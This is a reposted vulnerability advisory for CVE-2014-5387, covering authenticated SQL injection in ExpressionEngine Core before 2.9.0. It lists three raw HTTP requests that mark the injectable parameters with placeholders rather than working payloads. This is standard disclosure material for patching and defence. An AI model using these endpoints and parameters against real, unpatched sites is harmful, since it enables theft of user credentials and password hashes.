EllisLab ExpressionEngine Core SQL Injection

2014.11.04
Credit: MailMarshal
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Vulnerability title: Multiple Authenticated SQL Injections in EllisLab ExpressionEngine Core CVE: CVE-2014-5387 Vendor: EllisLab Product: ExpressionEngine Core Affected version: Versions earlier than 2.9.0 Fixed version: 2.9.1 Reported by: Jerzy Kramarz and Alex Murillo Moya Details: SQL injection has been found and confirmed within the software as an authenticated user. A successful attack could allow an authenticated attacker to access information such as usernames and password hashes that are stored in the database. The following URLs and parameters have been confirmed to suffer from Multiple SQL injections: Vulnerability 1 POST /ex/system/index.php?S=d80babaf271e481ba9a8fde69dd72b28&D=cp&C=addons_modules&M=show_module_cp&module=comment HTTP/1.1 Host: 192.168.56.103 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-CSRF-TOKEN: e5806ae56ad19f2124a4a22e517b00dfd47d2c32 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://192.168.56.103/ex/system/index.php?/cp/addons_modules/show_module_cp&module=comment&S=d80babaf271e481ba9a8fde69dd72b28 Content-Length: 243 Cookie: [...] Connection: keep-alive Pragma: no-cache Cache-Control: no-cache tbl_sort%5B0%5D%5B%5D=comment_date<SQL Injection>&tbl_sort%5B0%5D%5B%5D=asc&csrf_token=e5806ae56ad19f2124a4a22e Injection>517b00dfd47d2c32&keywords=&XID=e5806ae56ad19f2124a4a22e517b00d Injection>fd47d2c32 Vulnerability 2 POST /ExpressEngine/system/index.php?S=5711f695056db582aa7427787f525d6f&D=cp&C=members&M=view_all_members HTTP/1.1 Host: 192.168.56.103 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-CSRF-TOKEN: e5806ae56ad19f2124a4a22e517b00dfd47d2c32 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: [...] Connection: keep-alive Pragma: no-cache Cache-Control: no-cache csrf_token=ee4[...]&member_name=1&column_filter=all<SQL Injection>&XID=ee4[...] Vulnerability 3 POST /ExpressEngine/system/index.php?/cp/content_publish/entry_form&channel_id=2&entry_id=3&filter=YToxOntzOjEwOiJjaGFubmVsX2lkIjtzOjE6IjIiO30%3D&S=5711f695056db582aa7427787f525d6f HTTP/1.1 Host: 192.168.56.103 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.56.103/ExpressEngine/system/index.php?/cp/content_publish/entry_form&channel_id=2&entry_id=3&filter=YToxOntzOjEwOiJjaGFubmVsX2lkIjtzOjE6IjIiO30=&S=5711f695056db582aa7427787f525d6f Cookie: [...] Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------317032379522964 Content-Length: 4607 -----------------------------317032379522964 Content-Disposition: form-data; name="entry_id" 3 -----------------------------317032379522964 Content-Disposition: form-data; name="channel_id" 2 -----------------------------317032379522964 Content-Disposition: form-data; name="autosave_entry_id" 0 -----------------------------317032379522964 Content-Disposition: form-data; name="filter" YToxOntzOjEwOiJjaGFubmVsX2lkIjtzOjE6IjIiO30= -----------------------------317032379522964 Content-Disposition: form-data; name="csrf_token" 468a1cb7f860c43937e82527bb0c2dd0fea381e6 -----------------------------317032379522964 Content-Disposition: form-data; name="member_group[]" 1 -----------------------------317032379522964 Content-Disposition: form-data; name="layout_preview" 1 -----------------------------317032379522964 Content-Disposition: form-data; name="title" About the Label -----------------------------317032379522964 Content-Disposition: form-data; name="url_title" about_the_label -----------------------------317032379522964 Content-Disposition: form-data; name="field_id_4" text -----------------------------317032379522964 Content-Disposition: form-data; name="field_ft_4" xhtml -----------------------------317032379522964 Content-Disposition: form-data; name="field_id_5_hidden_file" map2.jpg -----------------------------317032379522964 Content-Disposition: form-data; name="field_id_5_hidden_dir" 2 -----------------------------317032379522964 Content-Disposition: form-data; name="field_id_5"; filename="" Content-Type: application/octet-stream -----------------------------317032379522964 Content-Disposition: form-data; name="field_id_5_directory" 2 -----------------------------317032379522964 Content-Disposition: form-data; name="field_id_6" -----------------------------317032379522964 Content-Disposition: form-data; name="field_id_7" 1 -----------------------------317032379522964 Content-Disposition: form-data; name="field_ft_7" xhtml -----------------------------317032379522964 Content-Disposition: form-data; name="entry_date" 8/13/14 2:02 PM -----------------------------317032379522964 Content-Disposition: form-data; name="expiration_date" -----------------------------317032379522964 Content-Disposition: form-data; name="comment_expiration_date" -----------------------------317032379522964 Content-Disposition: form-data; name="category[]" 4<SQL Injection> -----------------------------317032379522964 Content-Disposition: form-data; name="category[]" 3<SQL Injection> -----------------------------317032379522964 Content-Disposition: form-data; name="new_channel" 2 -----------------------------317032379522964 Content-Disposition: form-data; name="status" open -----------------------------317032379522964 Content-Disposition: form-data; name="author" 1 -----------------------------317032379522964 Content-Disposition: form-data; name="sticky" y -----------------------------317032379522964 Content-Disposition: form-data; name="allow_comments" y -----------------------------317032379522964 Content-Disposition: form-data; name="pages__pages_uri" /asd -----------------------------317032379522964 Content-Disposition: form-data; name="pages__pages_template_id" 4 -----------------------------317032379522964 Content-Disposition: form-data; name="submit" Submit -----------------------------317032379522964-- Further details at: https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-5387/ Copyright: Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. 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